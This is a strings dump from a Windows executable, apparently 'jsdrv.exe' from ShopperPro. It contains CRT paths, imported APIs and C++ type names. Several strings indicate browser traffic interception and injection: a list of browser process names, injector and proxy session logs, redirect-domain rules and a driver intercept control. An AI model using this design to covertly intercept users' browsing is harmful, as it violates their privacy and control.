Program: %s%s%s%s%s%s%s%s%s%s%s%s

f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c

f:\dd\vctools\crt_bld\self_x86\crt\src\read.c

%s(%d) : %s

_CrtDbgReport: String too long or Invalid characters in String

GetProcessWindowStation

f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\input.c

f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c

Broken pipe

Inappropriate I/O control operation

Operation not permitted

f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c

portuguese-brazilian

operator

f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Content-Type: multipart/form-data; boundary=%s

ICACLS.EXE

SOFTWARE\%s

Global\%s_CONFIG_XML

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Injector dump %s: %s

inj_rem remain %d

inj_loc remain %d

%s PutChunk send %d bytes to server

%s PutChunk send %d bytes to client

%s close pRemoteInj

%s close pLocalInj

New EmuSession flow %lld, now %d

Injector: Flow %lld, create session %X

Injector: Flow %lld, FDM=%d (%d)

%s ConnectedToVA, pLocalInj %p, pLocalVA %p

Delete EmuSession flow %lld, remain %d, chunks %d

%s delete Session %X

%s HandleChunk FWPS_STREAM_FLAG_SEND len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_ABORT

Injector: FDM=%d (%d)

%s ConnectToInj, Session not found pLocalVA %X

%s ConnectToInj

Cleanup %s

allports

iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe

[Stproxy]: open driver HANDLE %p, err %d

jsdriver: error parsing Config.json

parsing Config.json

IOCTL_ENABLE_INTERCEPT res %d

SetThreadPriority %d

error %d

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase

0123456789.eE-

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum

C:\BUILDS\Build_JS\1.38.0.0\JsDriver\Release\jsdrv.pdb

WSAJoinLeaf

WS2_32.dll

VERSION.dll

USERENV.dll

HttpQueryInfoA

InternetOpenUrlA

InternetCrackUrlA

HttpSendRequestA

HttpAddRequestHeadersA

HttpOpenRequestA

WININET.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

MsgWaitForMultipleObjectsEx

CloseWindowStation

SetProcessWindowStation

OpenWindowStationA

USER32.dll

RegNotifyChangeKeyValue

RegOpenKeyExA

RegCloseKey

RegCreateKeyExA

RegDeleteKeyA

RegOpenKeyA

RegEnumKeyA

RegEnumKeyExA

RegQueryInfoKeyA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

HttpEndRequestA

HttpSendRequestExA

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AVSaveWatchUrl@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

HTTP://

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

.?AVCAsyncUdpSocket@@

.?AVCExecuteUpdate@@

..\Common\Base64.cpp

..\Common\Base64MultiBytes.cpp

<>"#%{}|\^~[]`' ?&

<>"#{}|\^~[]`' ?&

.?AVCHttpAsync@@

.?AVIHttpProxyWorker@@

.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@

.?AVIInjHttpProxyServer@@

.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@

.?AV?$IBaseInterface@VIHttpProxyServer@@@@

.?AVIHttpProxyServer@@

.?AVInjHttpProxyServer@@

.?AVHttpProxyServer@@

.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@

.?AVIHttpStreamSink@@

.?AVIHttpFileDownloadMgr@@

.?AVInjHttpProxyLocal@@

.?AVHttpProxyLocal@@

.?AVHttpProxyWorker@@

.?AVInjHttpProxyRemote@@

.?AVHttpProxyRemote@@

.?AVHttpParser@@

VA_SUBJECT_FMD_%d_WORKER_CREATED

VA_SUBJECT_FMD_%d_RANGE_CREATED

VA_SUBJECT_FMD_%d

VA_SUBJECT_FMD_%d_WORKER_%d

.?AVHttpCookie@@

.?AVHttpCookieJar@@

.?AV?$IBaseInterface@VIHttpCacheManager@@@@

.?AVIHttpCacheManager@@

.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@

.?AVCHttpCacheManager@@

.?AVCProxyServerPassThrough@@

.?AVCHttpCacheData@@

zcÁ

.?AVCHttp@@

2.0.7791.1462

%Program Files% (x86)\ShopperPro\JSDriver\1462.0.0.0\jsdrv.exe

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

8&8,8/949{9

0F0X0

>%?/?^?}?

2(2-222x2}2

>5>:>?> ?%?

7#777=7\7

6f6F6X6

>2?8???}?

< <$<(<,<0<4<~<

5#565;5|5

:,:0:4:8:<:

8-8}8

0-0A0U0i0}0

= >%>[?`?

1 20252:2

:*:8:&;5;|;

?/?4?9?|?

6 6$6(6,6

=,>0>4>8><>@>

*0004080<0

&0 000|0

99S9^9

="=(=5=:=@=

91969;9{9

9(9[9`93:

3?3T3f3n3

7 7$7(7,7

= =$=(=,=0=4=

1 1$1(1,1014181<1

2 2$2(2,2

; ;$;(;,;0;

4 4$4(4,4044484<4@4

; ;$;(;,;0;4;8;<;@;

9 9$9(9,9094989<9@9

,<0<4<8<

8 8$8(8,8084888<8$>(>

5 5$5(5,5054585<5

? ?$?(?,?0?4?8?

9$9,989\9|9

3(303<3`3

;,<8<\<|<

>$>,>8>\>|>

;$;,;4;@;`;

=(=0=<=`=

: ;,;4;`;

1$1<1@1`1

3 3$3<3@3\3`3|3

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator ==

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --

dstd::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator *

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator ==

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator *

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator

std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator ==

std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator *

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator *

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator ==

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator ==

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator *

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator *

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator

]std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator --

std::vector<struct hostent *,class std::allocator<struct hostent *> >::operator []

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<void *,struct std::less<void *>,class std::allocator<void *>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<void *,struct std::less<void *>,class std::allocator<void *>,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator

std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator

std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator *

std::_List_const_iterator<class std::_List_val<struct std::pair<char *,unsigned int>,class std::allocator<struct std::pair<char *,unsigned int> > > >::operator

std::_List_const_iterator<class std::_List_val<struct std::pair<char *,unsigned int>,class std::allocator<struct std::pair<char *,unsigned int> > > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator  =

